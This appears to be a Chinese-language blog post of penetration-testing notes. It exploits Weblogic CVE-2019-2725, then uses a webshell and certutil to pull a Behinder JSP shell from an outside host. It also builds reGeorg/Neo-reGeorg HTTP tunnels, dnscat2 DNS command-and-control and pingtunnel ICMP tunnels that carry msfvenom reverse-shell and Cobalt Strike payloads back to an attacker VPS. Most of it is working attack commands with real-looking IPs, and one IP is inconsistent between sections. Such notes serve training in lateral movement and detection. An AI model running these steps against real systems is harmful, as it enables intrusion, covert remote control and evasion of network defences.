一、HTTP代理-reGeorg
1.Weblogic
(1)Weblogic漏洞检测
python WeblogicScan.py -u 192.168.1.11 -p 7001

(2)CVE-2019-2725漏洞利用:
python weblogic-2019-2725.py 10.3.6 http://192.168.1.11:7001 whoami
python weblogic-2019-2725.py 10.3.6 http://192.168.1.11:7001
(3)利用小马下载大马:
http://192.168.78.95:7001/bea_wls_internal/demo.jsp?pwd=admin&cmd=cmd /c certutil.exe -urlcache -split -f http://8.131.57.209:8000/bx3.jsp C:\Oracle\Middleware\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\bea_wls_internal\9j4dqk\war\bx
3.jsp (冰蝎生成的jsp大马,下载到指定目录)
冰蝎连接网址:http://192.168.1.11:7001/bea_wls_internal/bx3.jsp
2.HTTP代理-reGeorg
https://github.com/NoneNotNull/reGeorg (其他人发现之后也可以使用)
reGeorg是reDuh的升级版,主要功能是把内网服务器端口的数据通过HTTP/HTTPS隧道转发到本机,实现基于HTTP协议的通信。
reGeorg支持ASPX,ASHX,PHP,JSP等WEB脚本,并特别提供了一个tomcat5版本。

python2 reGorgSocksProxy.py -u http://192.168.78.105:7001/_async/tunnel.t5.jsp -p 1080
3.HTTP代理-Neo-reGeorg
(1)https://github.com/L-codes/Neo-reGeorg (增加了密码功能更安全)
重构 reGeorg 的项目,目的是:
- 提高 tunnel 连接安全性
- 提高可用性,避免特征检测
- 提高传输内容保密性
- 应对更多的网络环境场景

(2)设置密码生成tunnel.(aspx|ashx|jspx|php)并上传到目标服务器
python3 neoreg.py generate -k passwd (-k指定密码)
[+] Mkdir a directory: neoreg_servers
[+] Create neoreg server files:
=> neoreg_servers/tunnel.ashx
=> neoreg_servers/tunnel.aspx
=> neoreg_servers/tunnel.jsp
=> neoreg_servers/tunnel.jspx
=> neoreg_servers/tunnel.php
(3)使用neoreg.py连接WEB服务器,在本地建立 socks 代理
python3 neoreg.py -k passwd -u http://192.168.78.105:7001/bea_wls_internal/passwd.jsp
二、DNS隧道-Dnscat2
1.dnscat2简介
https://github.com/iagox86/dnscat2
dnscat2是一个DNS隧道工具,通过DNS协议创建加密的命令和控制通道,它的一大特色就是服务端会有一个命令行控制台,所有的指令都可以在该控制台内完成。包括:文件上传、下载、反弹Shell。

2.dnscat2两种模式
(1)直连模式
客户端直接向指定IP的恶意DNS服务器发起DNS解析请求。
(2)中继模式
像我们平时上网一样,DNS解析先经过互联网的迭代解析,最后指向我们的恶意DNS服务器。相比直连,速度较慢,但是更安全。
3.dnscat2服务端安装 (需要安装ruby,版本太高会报错,指定版本进行安装apt insttall ruby2.5)
apt install ruby ruby-dev git make g++ ruby-bundler (安装ruby)
gem install bundler (安装依赖包)
git clone https://github.com/iagox86/dnscat2.git (下载项目)
cd dnscat2/server
bundle install (安装服务端相关依赖包)
4.dnscat2客户端编译 (上传到目标机器)
git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/client/
make (进行客户端编译,需要make和g++环境)
make编译之后会在此目录下生成一个dnscat可执行二进制文件。
5.dnscat2直连模式
(1)启动服务端:
ruby ./dnscat2.rb (会回显一个随机密钥)
(2)启动客户端:
./dnscat --dns server=8.131.57.209,port=53 --secret=0f69f5a5e89a18b0c47fe12ec6f1896aW (密钥为上面生成的)
Linux systemd resolve占用53号端口的解决办法:https://www.itren.org/319.html
(3)服务端接收到会话
获取shell:
windows
session -i 1 (进入session1)
shell
session -i 2
(4)直连模式流量特征
tcpdump udp dst port 53 (使用tcpdump进行抓包)
6.dnscat2中继模式
(1)准备
- 一台公网C&C服务器
- 一个可配置解析的域名
(2)配置DNS域名解析
- 创建A记录,将自己的域名解析服务器(ns.fitar.top)指向云服务器(8.131.57.209)
- 创建NS记录,将子域名dnsch.fitar.top的DNS解析交给ns.fitar.top

(3)启动服务端
ruby ./dnscat2.rb dnsch.fitar.top --secret=timer (自行指定域名和密钥)
(4)启动客户端
./dnscat --secret=timer dnsch.fitar.top
(5)服务端接收会话
(6)中继模式流量特征
tcpdump udp dst port 53
三、ICMP隧道-Pingtunnel
1.ICMP隧道作用
https://github.com/esrrhs/pingtunnel
通过某种信道获取了内网主机的shell,但是当前信道不适合做远控的通信信道,tcp和udp等传输层协议不能出网,dns、http等应用层协议也不能出网,只有icmp协议可以出网。
2.pingtunnel参数详解 (通过0和1调整)

3.ICMP隧道转发TCP上线MSF
(1)VPS启动ICMP隧道服务端
8.131.57.209,icmp服务端和msf服务都在此VPS上
./pingtunnel -type server
(2)靶机启动ICMP隧道客户端
pingtunnel.exe -type client -l 127.0.0.1:9999 -s 8.131.57.209 -t 8.131.57.209:7777 -tcp 1 -noprint 1 -nolog 1
ICMP客户端监听127.0.0.1:9999,通过连接到8.131.57.209的icmp隧道,将127.0.0.1:9999收到的tcp数据包转发到8.131.57.209:7777
(3)MSF生成反弹shell的payload(例子)
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=127.0.0.1 lport=9999 -f exe > 9999.exe (将lhost设为目标本机的9999代理端口进行反弹shell)
上传到靶机:
handler -p windows/x64/meterpreter/reverse_tcp -H 0.0.0.0 -P 7777
(4)执行payload反弹shell到MSF
4.ICMP隧道转发socks上线MSF
(1)VPS启动ICMP隧道服务端(8.131.57.209,icmp服务端和msf服务都在此VPS上)
./pingtunnel -type server
(2)靶机启动ICMP隧道客户端
pingtunnel.exe -type client -l 127.0.0.1:9999 -s 8.131.57.209 -sock5 1 -noprint 1 -nolog 1
ICMP隧道客户端监听127.0.0.1:9999启动socks5服务,通过连接到139.155.49.43的icmp隧道,由ICMPServer转发socks5代理请求到目的地址8.131.57.209:8899
(3)MSF生成支持socks5代理的反向payload
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=8.131.57.209 lport=8899 HttpProxyType=SOCKS HttpProxyHost=127.0.0.1 HttpProxyPort=9999 -f exe > 8899.exe
(4)执行payload反弹shell到MSF
5.ICMP隧道转发TCP上线CS
(1)VPS启动ICMP隧道服务端(139.155.49.43,icmp服务端和msf服务都在此VPS上)
./pingtunnel -type server
(2)靶机启动ICMP隧道客户端
pingtunnel.exe -type client -l 127.0.0.1:9999 -s 8.131.57.209 -t 8.131.57.209:7777 -tcp 1 -noprint 1 -nolog 1
(3)CS创建listener(创建的listener与普通的不同)
https host和https port(c2)为icmp隧道客户端的监听ip和端口 (c2为客户端监听的端口)
https port(bind)为转发目的地址的端口 (bind为服务器监听等待cs上线的端口)

(4)生成反向payload的beacon

(5)执行payload反弹shell到CS
Comments | NOTHING